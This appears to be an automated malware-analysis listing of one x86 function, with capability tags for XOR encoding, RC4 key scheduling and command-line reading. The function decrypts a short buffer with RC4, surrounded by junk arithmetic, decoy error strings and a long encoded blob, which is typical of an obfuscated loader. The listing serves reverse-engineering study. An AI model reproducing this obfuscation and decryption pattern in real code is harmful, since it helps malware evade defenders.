Function at 0x65689470
Capabilities:
Accept command line arguments
Encode data using xor
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ecx, 9
mov ebp, esp
push edi
push esi
lea edi, [ebp - 0x137]
mov esi, 0x656ace5d
push ebx
sub esp, 0x13c
mov ebx, dword [0x656a8f48]
rep movsb byte es:[edi], byte [esi]
mov dword [esp + 4], str.Specified_mode_pruning_algorithm_is_invalid
mov dword [esp], str.The_specified_named_pipe_is_in_the_closing_state.
mov eax, ebx
or ebx, 0xb8a160e
and eax, 0xa671a3a8
sub ebx, 0x4072056f
mov dword [0x656a8cfc], eax
call fcn.65692fc4
mov dword [0x656a8f48], ebx
call fcn.65693704
xor eax, eax
sub dword [0x656a8cfc], 0x3fc78b00
cmp word [eax + str.Specified_mode_pruning_algorithm_is_invalid], 0
je 0x656894ff
add eax, 2
cmp eax, 0x193e
jne 0x656894d7
call fcn.65692978
mov eax, dword [0x656a8cfc]
add eax, 0x466cb306
mov dword [0x656a8f48], eax
lea edi, [ebp - 0x125]
mov esi, 0x656ace66
mov ecx, 0xd
mov eax, dword [0x656a8f48]
rep movsb byte es:[edi], byte [esi]
lea edx, [eax + 0x11efa7a6]
mov dword [0x656a8cfc], edx
xor edx, edx
mov byte [ebp + edx - 0x118], dl
inc edx
cmp edx, 0x100
jne 0x65689524
sub eax, 0x7fa5a8df
mov dword [esp + 4], str.Specified_mode_pruning_algorithm_is_invalid
xor edi, edi
mov esi, 0xc
or eax, 0xf05dbbc2
mov dword [esp], eax
mov dword [0x656a8f48], eax
call fcn.65690fb4
mov eax, dword [0x656a8cfc]
mov dword [esp + 8], str.LocaleName
add eax, 0x22b7f6a3
mov dword [0x656a8f48], eax
xor eax, 0x54c24781
mov dword [esp + 4], eax
mov dword [esp], eax
mov dword [0x656a8cfc], eax
call fcn.65691b18
xor ecx, ecx
mov eax, ecx
xor edx, edx
mov bl, byte [ebp + ecx - 0x118]
div esi
movzx eax, byte [ebp + edx - 0x125]
movzx edx, bl
add eax, edx
add eax, edi
movzx edi, al
mov al, byte [ebp + edi - 0x118]
mov byte [ebp + ecx - 0x118], al
inc ecx
mov byte [ebp + edi - 0x118], bl
cmp ecx, 0x100
jne 0x65689589
xor edi, edi
xor esi, esi
xor ebx, ebx
call fcn.65693328
mov eax, dword [0x656a8f48]
inc ebx
mov dword [esp + 0xc], str.LocaleName
mov dword [esp + 8], str.LocaleName
movzx ebx, bl
mov edx, eax
xor eax, 0xbf78ab14
mov dword [esp], str.AslPathCleanUstr
mov dword [esp + 4], eax
xor edx, 0x67505d0b
mov dword [0x656a8cfc], edx
mov dword [0x656a8f48], eax
call fcn.65694650
add dword [0x656a8f48], 0x2d7adf94
call dword [sym.imp.KERNEL32.dll_GetLargePageMinimum]
mov eax, dword [0x656a8cfc]
lea ecx, [eax - 0x7ea0736]
mov al, byte [ebp + ebx - 0x118]
mov dword [0x656a8cfc], ecx
lea edx, [eax + esi]
movzx esi, dl
mov dl, byte [ebp + esi - 0x118]
mov byte [ebp + ebx - 0x118], dl
mov byte [ebp + esi - 0x118], al
add al, byte [ebp + ebx - 0x118]
movzx eax, al
mov al, byte [ebp + eax - 0x118]
xor al, byte [ebp + edi - 0x137]
mov byte [ebp + edi - 0x12e], al
inc edi
cmp edi, 9
jne 0x656895cc
mov byte [ebp - 0x125], 0
mov ebx, str.LocaleName
mov esi, 0x1bf9
movzx eax, word [ebx]
add ebx, 2
test ax, ax
je 0x656896ae
add esi, eax
cmp esi, 0x2015
jbe 0x6568968f
add dword [0x656a8f48], 0x26b23cd2
xor ecx, 0x76f28877
mov dword [0x656a8cfc], ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
call fcn.65693704
lea edx, [ebp - 0x12e]
mov dword [esp + 0xc], 9
mov dword [esp + 8], edx
mov dword [esp + 4], 0x1320
mov dword [esp], str.Is_484LSLnpcY4wdJ01qn3Ktn7Sxm1oaNTHZnBJ_0iQMf0sHKMssf0LanBMo0j0SRKA7lakRU9u4c5AV2jIBgO4s0gtSrhMa5_I58y8aMsPvuhDVKELcjYvVcee85QI124WwaMpI2P3C2ydKODCLmY5KEJ1DdRyE3pop0_9EH5Buytl2DIqrY5E7OmWTCW2eWAgP7j8Hk4VGOHiiUwEcElIt4EpmzkNE2btjiooiNyBmBhw90MfGRct7m6TcTfiDxi20QTTu_d2AEoWookBsgvASyVedmoiU1XM7zu25tOVISUO9W8xk1udGiMXpovCLKaWpS763HHefIP89tNxJ7Twfg3oerSmDTHAMrjJosnOZFDel48sMeafhh99SUuy60OXoQakBK2bUtd362nSuTAdEucM13HqpVqtoeX9MwGrGBMhG6JDXiADWBwrLuias1OTTgmwcfFbAIYtmrNOFzuq9w6xBLOMXWujOr4Zk9lwHc7k3WUtJml7f1KDK32oX5k2zNWK9Nt5t7TBq1amz0iCJE2zbTCb66sevNEjMyd0RYM6wUIAxPlXcUq2JmgUp1LUDg1OVScSyzEAcNcm_GGSWyVthkppd5wGfNBet2qhhZw6icUsAT4CIYZTlnXVQd13X7NHxysCuunfYI5khE1S2gw0CbV3y2OU6heKCbDPfoc6uHj_sogyFcIpQhhausHAMG95e_NkCNE4EMpwoxPBLaQ5y6G0n4G5yZh1A4apFGyV91uTlZdHX1iRUBi8NpdIQQ3V0ymd2dX5VQBQ9rjK0cFQwbgYnE10Dx8NLj1AkU88ESlEHnAqXShCo9TDOrbdAvfxJ_6W7OM20ezF83jm0jec0rIGDQ1tkIaWKhqXLidaMiiI4WXe3hcYRTcMXjICXa0gcVKPXZHmyNWJav3dJTXQbsWfXkkBXcqSPz3uoCvoVa7DZSKmTI6up_S5966tcIgUOiIxqEsnVt2oHk1R81FpiBx7SxepdiL3bdLLketxL4rAkTj1AAizZiljyLjgy7mjiE8uMl3VcCH0DRYZCxF18g8saVyToizJvsPbGpK4NKIoSSgMtgxLlyqj8lFertTggQA_KkASgtB2MB7f8gX5CkxLW9UjsCHPQ4WSh0IHRoPrCY55WxPoF8sqrULF6wOfRha_Oug5j38q9WnPOTTBI02JMrEyXxVp5UcWUcoPcfQxAtwOWyP7CCOuDU5OWziwa1yu2g4yQ4ylNWmC0j8hzHnEW_mY_o0LOS1eBpFMAZYSRTFOsUXfCkH6iP1z1Lk151YM0GCNLlt_JLH3B8TzqhOlKDTNHnSaeCZL8o0s4gXSR2UC0wjhOqCrC6cf4BsykrL3TVqxYuN5rrdy8FMnXKNsUFsKcOPSptNjf5ASn9mSEopbtFRs0dRY5CMc8ER6y_ZKUl5ftfnwkYVSObGhZiXPPUm4LVvvYTliSwDRoFrJ5C2SEvrbW5UlizCA25gYfCeTKY9yCY8yiFh7A0MxrngiKOxSzxz31mn933GRNjScSvaewTQap2omhi7gDHXHa5bb2VuOKPrwj7WydEkRxGWalMB1FTkzvCn0z8IKMYEar1XSlMc5wF4QK7zkyieZAno8tBiyeRKJnMZNll7TERau52kU5eIxkmRNx4bKAOBVfkAMFPX1evD48JShs2ILnbuznggwd4SKJZIM5s1UIuTD7coyVgp7lVisXctyu7RYLqF9LrnJqzhExlKP4OqCba5X8MXOivfYy_3RBdGIpttbCDjrGLZKA5IJSewwoaag4MwhexHvdogLlvjWCt6qTVjWMa5ykjEaMBy8EIxh1zrYxCGGQuenEc2hLfdjBCXjNSsrWfmTppa4EVZqwyfg2M1TTGKh6ebHQcI5ANHXQUl4zffs6pcnkHUVtsArRmWKnvMZYPWzNrt1jkBqVuchN8FWxGPSp8PyBxnPPCrYgB4zGmgZuKcqfvmEQkRlxcSTp1UMEeoaAwl0LhAuzoYfS8Grm3VnP5JiR5I6o5bugit02xGukR8mur85NQLqxT0T1fVDmVe0uMfA_Yr_urrN4lwVyNa8JR05YgayypkIFpNSfpRfJYM85HGc6PzSrupuTfpLl8lTNfcOwPLP6X2IAoJ7IlxKNgwqpviVFGvHKU5H9mBgiyYdCj2EzHAS3fQGr_mOwKvF0pF42QFo7GknXzVbAHpeSUJGa1uuqWdWdCcU3LSty5nfBQ5yZfjudRmZNt5AtbXX3QOjvFiiMMvr0qBQkPXzLfJBvTdkz4YCLYQtDi20D9A6EnpeAPO7xwIs8yLj7FdsDd8lUHk8m3UJHJK5FbODLyZKgq83ubZN1zcKOq6jrmHqEjs3Q638aU6jSZnYkggyLyB4W_WiwdLdruJQl1lrXUief9DIQ6mlQUXByCvLATsmVrODKtM2KHNeBzIOp14EXOB9ZWmpKDbZk2e9Q3Lzj3od1AupEtWrZF86H9Rwdr85FdvCfPb7FVLIG52JUPgSaiJMVBlZQdgRcWm9UYrgQ6Crsc0PuKMRnLaaofTXn16rCAlTW483J89y67Tk4zgW0OumGnxsSwX3VYQMuKnH_MO7vgUCu_GrKI1xIDQQ3H6Ls6ih4DqGOYXNqt7WBTiw3ApcUXeN8t4wvrFty6BW_StcTVxV1c4xT9V4IjS7stmZT37rHlQKiqd6R70OZGSIxPLpV3HJHJqiNIX0_uzQf_hlts6IfRDg7FIvhRzaWisiOr_XhefDjqGCztphAnWMZMHOqbKf9Qxe0_nRFaxwEYRyJBHcgXfJTjiYGrNsALZbic6cJurCnXdmVVqszoQt67m5Zdanm45M5KwlCMbrm3UDhmARgLYXY9lZuUu3rYLjkuj_ghTCvitMCikzeUxcWB5hV5nCU1Tk88IUGOdaotEXvFC5PzDiZpZ0kGUwPMxUcZr_fmV1jyAeWkQ3o0P5xUAjMWhJzPfVUfAk2AXg4el0Wp3LWBiVEJbnKpIv4yD_QAR7hy2Q1zE1QUs1t1E9_zlCB0lAE2CITShvonv4yNZ_cQt7kkWz5VmQq3bLF5G6sIE8cVdsch5DTtHT2biqLFlc5Yp6rZOyo5HCuFtSy9dLtrxUCxcuULsfoNP3J7VW_yoFjc84NWC0mKJm8WFMkEEOEyLJLNmGSrCjqRlvUBXJYAFWUHQ2Ao5A9dCn5SWxtB2RhlV9jJhxELJOjRzp0OCaztdQtVU7kk2soQ0nvJDAe2bnoyEy94ysqfiA7elZnNJ3FoptgET9XvhLcFRY_VKc0YYTa0xeXXJW3jEc7QygYNRonxvDUXEkb9jsTDs5V7t1zGm_U0DV4lmT42oMx7LgPI3rlMemebEBdKUP1hxUZk4qM8ChUBa1WXr0ecU_RHT9uPgEaYu_wucpPOmbzxyDlOHvagatvtgPtFIlWtj_mUwuSrUtoHloBF6Bj0YGQRLwI9G4QgiG9s_SRjIdVb3xRZe0bhwwI39_FhmbqRT4IfjqueCLQ3ZYL2wVYoTquObo67ZkxhNSQu6zdAQRoULB7j2nx4VsA73SUlAX1dkY368eGS_G6zgRyR6ecsmSEchQGJFMg9Xw3pfLsoQHV9r43HdQqmzN9WRvukzz32H6SLwD6jnynf_dZDS0DdCuu1TmZaeutCWI9YDKPorAfMUqkTu4tx_xrqeyCfe6qLFUS8uXFV3CB8Lvxvs7BZjTIHwKonrBNOdFukM2fWo8cBSglCmGubmToOKOrTwZcJMMUjTQu5LulLA1vYNOfe5OGwF8wuyKfiq8CrJCOuCacUtGE1e3BSTP3FkbahFczQ5ufNdoX0NJtaje1KDf3Fyp3oA8JwZyNY2QUCKLlzKH56hVaM1kYatjPMKOEVYfvzwnWJshdX7Lj5FeqAY_1CsOrDgNbuKcpezgcq7_sat9wMqKAbv_Xbwuk4ZL1Qvwg5Aq0d1XX4JeyJ9oPxtXdqR7570wT1RDlKBo7mBMxWOjNFNuccbYJiG1RX3S_4wvqXBJ_7d9LXrFImkrF5oCS4U6DTRgKF6PjvfucWach11q03REfV
call fcn.6568bff8
add esp, 0x13c
pop ebx
pop esi
pop edi
pop ebp
ret